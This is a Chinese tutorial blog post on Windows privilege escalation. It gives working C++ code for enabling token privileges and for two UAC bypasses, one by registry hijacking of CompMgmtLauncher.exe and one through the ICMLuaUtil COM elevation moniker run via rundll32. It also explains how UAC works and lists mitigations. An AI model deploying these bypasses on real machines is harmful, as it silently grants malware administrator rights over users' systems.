[网络安全自学篇] 九十四.《Windows黑客编程技术详解》之提权技术（令牌权限提升和Bypass UAC）

这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。这篇文章将带着大家来学习《Windows黑客编程技术详解》，其作者是甘迪文老师，推荐大家购买来学习。作者将采用实际编程和图文结合的方式进行分享，并且会进一步补充相关知识点。第六篇文章主要介绍木马病毒提权技术，包括进程访问令牌权限提升和Bypass UAC，希望对您有所帮助。

如果把权限看作是门禁卡，那么计算机便是一栋拥有许多门禁的大楼，要想进入一个房间或办公室，则需要拥有对应房间的门禁卡。对于低权限，即拥有很少数量的门禁卡，能去的也只有厕所之类的无关紧要的地方，无法进入层层设防的保密办公室。这样，即使病毒木马成功混入计算机这所大楼，如果没有足够的权限，也不能窃取或修改计算机中的关键数据，杀伤力有限。

因此，提权技术（从低权限获取高权限的技术）成为大多数病毒木马必备技术。

计算机上有哪些操作需要提权呢？操作系统处于安全考虑，对不同的操作系统划分了权限。例如创建或修改系统服务、修改HKEY_LOCAL_MACHINE注册表键或重启移动文件等操作，均需要管理员权限，普通权限操作会失败。

同时，从VISTA系统引入了UAC（用户账户控制），涉及权限操作时都会有弹窗提示，只有用户点击确认后，方可继续操作。所以，VISTA之后的提权操作主要是针对UAC不弹窗静默提权，即Bypass UAC。

作者的github资源：
软件安全：https://github.com/eastmountyxz/Software-Security-Course
其他工具：https://github.com/eastmountyxz/NetworkSecuritySelf-study
Windows-Hacker：https://github.com/eastmountyxz/Windows-Hacker-Exp

声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。

前文学习：
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前文欣赏：
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

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一.进程访问令牌权限提升

病毒木马想要实现一些关键的系统操作时，往往要求执行操作的进程拥有足够的权限。比如，通过调用ExitWindows函数实现关机或重启操作时，它就要求进程要有 SE_SHUTDOWN_NAME 权限，否则会忽视操作不执行。这时，程序能够做的便是按照要求提升进程群贤，第一部分通过介绍提升进程访问令牌的权限。

1.函数介绍

(1) OpenProcessToken函数
打开与进程关联的访问令牌。

BOOL OpenProcessToken(
	HANDLE ProcessHandle, //要修改访问权限的进程句柄
	DWORD DesiredAccess,  //访问掩码,要对令牌进行何种操作
	PHANDLE TokenHandle   //返回的访问令牌指针
)；

(2) LookupPrivilegevalue函数
查看系统权限的特权值，返回信息到一个LUID结构体。

BOOL LookupPrivilegevalue(
	LPCTSTR lpSystemName,   //指向要获取特权值的系统名称
	LPCTSTR lpName,         //特权名称
	PLUID lpLuid            //指向LUID变量的指针
);

(3) AdjustTokenPrivileges函数
启用或禁用指定访问令牌中的权限，在访问令牌中启用或禁用权限时需要 TOKEN_ADJUST_PRIVILEGES 访问。

BOOL AdjustTokenPrivileges(
	HANDLE TokenHandle,         //handle to token
	BOOL DisableAllPrivileges,  //disabling option
	PTOKEN_PRIVILEGES NewState, //privilege information
	DWORD BufferLength,         //size of buffer
	PTOKEN_PRIVILEGES PreviousState, //original state buffer
	PDWORD ReturnLength         //required buffer size
);

其中，操作类型及特权属性Attributes可以是如下常量：

SE_PRIVILEGE_ENABLED            //使特权有效
SE_PRIVILEGE_ENABLED_BY_DEFAULT //使特权默认有效
SE_PRIVILEGE_REMOVED            //移除该特权
SE_PRIVILEGE_USED_FOR_ACCESS    //取得对象或服务的访问权

---

2.实现原理

(1) 使用场景
病毒木马想要实现一些关键的系统操作时，并且进程访问令牌权限提升的实现步骤较为固定。

(2) 实现流程

• 打开进程访问令牌
• 取得特权的LUID值
• 调整访问令牌特权值

首先获取进程的访问令牌，然后将访问令牌的权限修改为指定权限。但是系统内部并不直接识别权限名称，而是识别LUID值，所以需要根据权限名称获取对应的LUID值，之后传递给系统，实现进程访问令牌权限的修改。

(3) 实现步骤

• 获取指定进程的访问令牌，需要获取权限的令牌句柄为 TOKEN_ADJUST_PRIVILEGES
  OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)

• 获取本地系统指定特权名称的LUID值，LUID值相当于该特权的身份标号
  LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue)

• 创建一个新的进程令牌特权结构体 TOKEN_PRIVILEGES，并对其进行赋值，设置新特权的数量、特权对应的LUID值以及特权的属性状态
  tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED

• 调用 AdjustTokenPrivileges 函数对进程令牌的特权进行修改
  AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL)

---

3.编程实现

第一步，新建C++空项目，项目名称为“Tiquan01”。

第二步，新建源文件“main.cpp”。

第三步，编写代码获取当前进程号。

#include
#include
#include
using namespace std;

#ifdef _WIN32
#include 
#else
#include 
#endif

//主函数
int main(int argc, char* argv[])
{
     
	//获取当前进程号
	int iPid = (int)_getpid();
	std::cout << "The process id is: " << iPid << std::endl;
	system("PAUSE");
	return 0;
}

输出结果如下图所示，可以看到我们的程序Tiquan01.exe进程为18512。

第四步，通过子函数实现进程访问令牌的提升权限。

#include
#include
#include
using namespace std;

#ifdef _WIN32
#include 
#else
#include 
#endif

//显示错误信息
void ShowError(char* pszText)
{
     
	char szErr[MAX_PATH] = {
      0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}

/*----------------------------------------------------------------
    函数名:  CPrivilgeEscalationDlg::EnableDebugPrivilege
    返回类型:  BOOL
    功能: 提升进程访问令牌权限
    参数1: 需要提升权限的进程句柄
    参数2: 特权名称
----------------------------------------------------------------*/
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
     
	HANDLE hToken = NULL;
	LUID luidValue = {
      0 };
	TOKEN_PRIVILEGES tokenPrivileges = {
      0 };
	BOOL bRet = FALSE;
	DWORD dwRet = 0;

	//打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
	bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
	if (FALSE == bRet)
	{
     
		ShowError("OpenProcessToken");
		return FALSE;
	}
	//获取本地系统的 pszPrivilegesName 特权的LUID值
	bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
	if (FALSE == bRet)
	{
     
		ShowError("LookupPrivilegeValue");
		return FALSE;
	}
	//设置提升权限信息
	tokenPrivileges.PrivilegeCount = 1;
	tokenPrivileges.Privileges[0].Luid = luidValue;
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	//提升进程令牌访问权限
	bRet = ::AdjustTokenPrivileges(
		hToken,                  //令牌句柄
		FALSE,                   //是否禁用权限
		&tokenPrivileges,        //新的特权的权限信息
		0,                       //特权信息大小
		NULL,                    //用来接收特权信息当前状态的buffer
		NULL                     //缓冲区大小
	);
	if (FALSE == bRet) {
     
		ShowError("AdjustTokenPrivileges");
		return FALSE;
	}
	else {
     
		//根据错误码判断是否特权都设置成功
		dwRet = ::GetLastError();
		if (ERROR_SUCCESS == dwRet)
		{
     
			return TRUE;
		}
		else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
		{
     
			ShowError("ERROR_NOT_ALL_ASSIGNED");
			return FALSE;
		}
	}

	return FALSE;
}

//主函数
int main(int argc, char* argv[])
{
     
	//获取当前进程号
	int iPid = (int)_getpid();
	std::cout << "The process id is: " << iPid << std::endl;

	//修改当前进程令牌访问权限
	if (FALSE == EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME))
	{
     
		printf("Enable Privileges Error!\n");
	}
	printf("Enable Privileges OK!\n");

	system("PAUSE");
	return 0;
}

运行结果如下图所示，注意需要以管理员权限运行，否则会提示相关错误。

问题：怎么判断我是否提权成功呢？

同时，编程过程中会遇到各种错误，请大家一定实际去编写代码，学会谷歌百度独立解决。 比如"const char *"类型的实参与“LPCWSTR”类型的形参不兼容，基本的解决方法如下：

• 配置属性 -> 常规 -> 字符集 -> 使用多字节字符集
• C/C++ -> SDL检查-> 否
• C/C++ -> 语言 -> 符合模式 -> 否

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二.Bypass UAC

UAC（User Account Control）是微软在Windows VISTA以后版本中引入的一种安全机制，通过UAC，应用程序和任务可始终在非管理员账户的安全上下文中运行，除非特别授予管理员级别的系统访问权限。UAC可以阻止未授权的应用程序自动进行安装，并防止无意地更改系统。

UAC需要授权的动作包括：配置Windows Update、增加或删除用户账户、改变用户账户的类型、改变UAC设置、安装ActiveX、安装或移除程序、安装设备驱动程序、设置家长控制、将文件移动或复制到Program Files或Windows目录、查看其他用户文件夹等。

触发UAC时，系统会创建一个consent.exe进程，该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给 appinfo 的 RAiLuanchAdminProcess 函数。流程如下：

• 该函数首选验证路径是否在白名单中
• 接着将结果传递给consent.exe进程
• 该进程验证请求进程的签名以及发起者的权限是否符合要求后，决定是否弹出UAC窗口让用户确认
• UAC窗口会创建新的安全桌面，屏蔽之前的界面，同时UAC窗口进程是系统权限进程，其他普通进程无法和其进行通信交互，用户确认后，调用 CreateProcessAsUser 函数以管理员身份启动请求的进程

病毒木马如果想要实现更多的权限操作，那么就不得不绕过UAC弹窗，在没有通知用户的情况下，静默地将程序的普通权限提升为管理员权限，从而使程序可以实现一些需要权限的操作。目前实现Bypass UAC主要有两种方法：

• 一种是利用白名单提权机制
• 一种是利用COM组件接口技术

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1.基于白名单程序的Bypass UAC

有些系统程序可以直接获取管理员权限，而不触发UAC弹框，这类程序成为白名单程序。例如：slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。这些白名单程序可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序，实现Bypass UAC提权操作。

下面选择白名单程序 CompMgmtLauncher.exe 进行详细分析，利用它实现Bypass UAC提权。分析的环境是64位Windows 10操作系统，使用的工具是进程监控器Procmon.exe。

第一步，在System32目录下运行 CompMgmtLauncher.exe 程序。

此时并没有出现UAC弹窗就直接显示计算机管理的窗口界面。

第二步，使用procmon软件监控该进程的所有操作。
主要是监控注册表和文件的操作，设置进程名为CompMgmtLauncher.exe过滤即可。

输出结果如下图所示：

第三步，分析该进程注册表操作。
Procmon监控数据分析发现，计算机管理进程会先查询注册表中数据。

• HKCU\Software\Classes\mscfile\shell\open\command

发现该路径不存在后，继续查询注册表中的数据并读取。

• HKCR\mscfile\shell\open\command(Default)

该注册表路径中存储着mmc.exe进程的路径信息，如下图所示。然后，计算机管理程序会根据读取到的路径启动程序，显示计算机管理的窗口界面。

疑惑：如何通过该软件定位进程的执行逻辑或操作流程？感觉不是Procmon就能实现的。

注册表中内容对应如下：

• %SystemRoot%\system32\mmc.exe “%1” %*

第四步，手动构造注册表路径弹窗cmd命令行程序。
在 CompMgmtLauncher.exe 启动的过程中，有一个关键的操作就是它会先读取注册表的数据。

• HKCU\Software\Classes\mscfile\shell\open\command

我们开系统注册表编辑器regedit.exe，查看相应路径下的注册表，发现该注册表路径确实不存在。所以，如果自己构造该注册路径，写入启动程序的路径，这样，CompMgmtLauncher.exe便会启动该程序。为了验证这个猜想，自己手动添加该注册表路径，并设置默认的数据为C:\Windows\System32\cmd.exe。

注册表修改如下：

然后使用Procmon.exe进行监控并运行CompMgmtLauncher.exe，成功弹出cmd.exe命令行窗口，而且提示管理员权限，如下图所示，注意左上角显示的是“计算机管理”而不再是“CMD”。

查看Procmon.exe的监控数据，CompMgmtLauncher.exe确实直接读取注册表路径中的数据并启动。

第五步，编写代码实现相关功能。
利用CompMgmtLauncher.exe白名单程序Bypass UAC提权的原理讲到这里，接下来编写程序创建并添加注册表，并写入自定义的程序路径。

• HKCU\Software\Classes\mscfile\shell\open\command(Default)

具体Bypass UAC代码如下，运行计算机管理程序即可完成Bypass UAC提权操作。其中，HKEY_CURRENT_USER是用户注册表，程序使用普通权限即可进行修改。

Tiquan02完整代码

#include
#include
#include
using namespace std;

//显示错误信息
void ShowError(char* pszText)
{
     
	char szErr[MAX_PATH] = {
      0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
#ifdef _DEBUG
	::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
#endif
}

//修改注册表
BOOL SetReg(char* lpszExePath)
{
     
	HKEY hKey = NULL;
	//创建项
	::RegCreateKeyEx(HKEY_CURRENT_USER, 
		"Software\\Classes\\mscfile\\Shell\\Open\\Command", 
		0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);

	if (NULL == hKey) {
     
		ShowError("RegCreateKeyEx");
		return FALSE;
	}
	//设置键值
	::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));
	//关闭注册表
	::RegCloseKey(hKey);
	return TRUE;
}

//主函数
int main(int argc, char* argv[])
{
     
	BOOL bRet = FALSE;
	PVOID OldValue = NULL;

	// 关闭文件重定位
	::Wow64DisableWow64FsRedirection(&OldValue);

	// 修改注册表
	bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
	if (bRet) {
     
		// 运行 CompMgmtLauncher.exe
		system("CompMgmtLauncher.exe");
		printf("Run OK!\n");
	}
	else {
     
		printf("Run ERROR!\n");
	}

	// 恢复文件重定位
	::Wow64RevertWow64FsRedirection(OldValue);
	system("pause");
	return 0;
}

输出结果如下图所示，360成功识别在劫持程序，点击允许后及弹出对应的计算机管理CMD。

该程序成功利用白名单程序实现了Bypass UAC提权操作，并向注册表中写入cmd程序并启动，其实这也算一种利用白名单的程序劫持，最终效果如下图所示。

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2.基于COM组件接口的Bypass UAC

COM提升名称（COM Elevation Moniker）技术允许运行在用户帐户控制（UAC）下的应用程序，以提升权限的方法来激活COM类，最终提升COM接口权限。其中，ICMLuaUtil 接口提供了ShellExec方法来执行命令，创建指定进程。所以，接下来介绍的基于 ICMLuaUtil 接口的Bypass UAC的实现原理，它是利用COM提升名称来对 ICMLuaUtil 接口提权，提权后通过调用ShellExec方法来创建指定进程，实现Bypass UAC操作。

使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类，COM提升名称具体的实现代码如下：

HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
     
    BIND_OPTS3 bo;
    WCHAR wszCLSID[MAX_PATH] = {
      0 };
    WCHAR wszMonikerName[MAX_PATH] = {
      0 };
    HRESULT hr = 0;
    // 初始化COM环境
    ::CoInitialize(NULL);
    // 构造字符串
    ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
    hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
    {
     
        return hr;
    }
    // 设置BIND_OPTS3
    ::RtlZeroMemory(&bo, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hWnd;
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;
    // 创建名称对象并获取COM对象
    hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
    return hr;
}

执行上述代码，即可创建并激活提升权限的COM类。ICMLuaUtil 接口通过上述方法创建后，直接调用ShellExec方法创建指定进程，完成Bypass UAC的操作。基于ICMLuaUtil接口Bypass UAC的具体实现代码如下所示：

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
     
	HRESULT hr = 0;
	CLSID clsidICMLuaUtil = {
      0 };
	IID iidICMLuaUtil = {
      0 };
	ICMLuaUtil *CMLuaUtil = NULL;
	BOOL bRet = FALSE;

	do {
     
		::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
		::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

		// 提权
		hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
		if (FAILED(hr))
		{
     
			break;
		}

		// 启动程序
		hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
		if (FAILED(hr))
		{
     
			break;
		}

		bRet = TRUE;
	}while(FALSE);

	// 释放
	if (CMLuaUtil) 
	{
     
		CMLuaUtil->lpVtbl->Release(CMLuaUtil);
	}

	return bRet;
}

要注意的是，如果执行COM提升名称（COM Elevation Moniker）代码的程序身份是不可信的，则会触发UAC弹窗；若可信，则不会触发UAC弹窗。所以，要想Bypass UAC，则需要想办法让这段代码在Windows的可信程序中运行。其中，可信程序有计算器、记事本、资源管理器、rundll32.exe等。

因此可以通过DLL注入或是劫持等技术，将这段代码注入到这些可信程序的进程空间中执行。其中，最简单的莫过于直接通过rundll32.exe来加载DLL，执行COM提升名称的代码。利用rundll32.exe来调用自定义DLL中的导出函数，导出函数的参数和返回值是有特殊规定的，必须是如下形式。

// 导出函数给rundll32.exe调用执行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

将上述Bypass UAC的代码写在DLL的项目工程中，同时开发Test控制台项目工程，负责并将BypassUAC函数导出给rundll32.exe程序调用，完成Bypass UAC工作。

Test代码如下：

#include "stdafx.h"
#include 


int _tmain(int argc, _TCHAR* argv[])
{
     
	char szCmdLine[MAX_PATH] = {
      0 };
	char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe";
	char szDllPath[MAX_PATH] = "C:\\Users\\DemonGan\\Desktop\\BypassUAC2_Test\\Debug\\BypassUAC2_Test.dll";
	::sprintf_s(szCmdLine, "%s \"%s\" %s", szRundll32Path, szDllPath, "BypassUAC");
	::WinExec(szCmdLine, SW_HIDE);

	printf("Run OK.\n");
	system("pause");
	return 0;
}

Bypass UAC启动的是cmd.exe程序，所以，直接运行Test.exe即可看到cmd.exe命令行窗口，而且窗口标题有管理员字样，运行结果如下图所示。

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三.总结

写到这里，这篇文章就介绍完毕，希望对您有所帮助，最后进行简单的总结下，本文讲解了进程访问令牌权限提升和Bypass UAC（白名单和COM组件）。其实，Bypass UAC的方法有很多，对于不同的Bypass UAC方法，具体的实现过程不太一样，需要我们不断去摸索。同时，随着操作系统不断升级更新，Bypass UAC技术可能不再适应（被打补丁），但也会有新的方法出现，大家可以去github上关注UACME开源项目。

最后补充防止Bypass UAC的方法：

• 不要给普通用户设置管理员权限
• 在“更改用户账户控制设置”中，将用户账户控制（UAC）设置为“始终通知”

注意，不要觉得这些技术代码实现容易就简单，很多木马、病毒、APT攻击都用到了它们，不要小瞧任何一个技术，只有把这些技术组合起来威胁更大。同样，作为反病毒或安全分析人员，我们需要了解各种技术，只有知道怎么攻击和原理才能更好地防守。

学安全一年，认识了很多安全大佬和朋友，希望大家一起进步。这篇文章中如果存在一些不足，还请海涵。作者作为网络安全初学者的慢慢成长路吧！希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享，深知自己很菜，得努力前行。

(By:Eastmount 2020-09-12 星期一 晚上11点写于武汉 http://blog.csdn.net/eastmount/ )

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2020年8月18新开的“娜璋AI安全之家”，主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解，同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统，并重构作者的所有文章，从零讲解Python和安全，写了近十年文章，真心想把自己所学所感所做分享出来，还请各位多多指教，真诚邀请您的关注！谢谢。

参考文献：
[1]《Windows黑客编程技术详解》甘迪文老师
[2] 进程访问令牌权限提升 - 自己的小白
[3] windows进程提权(C语言实现) - zzkdev
[4] https://www.freebuf.com/sectool/175551.html
[5] https://blog.csdn.net/Simon798/article/details/107051801/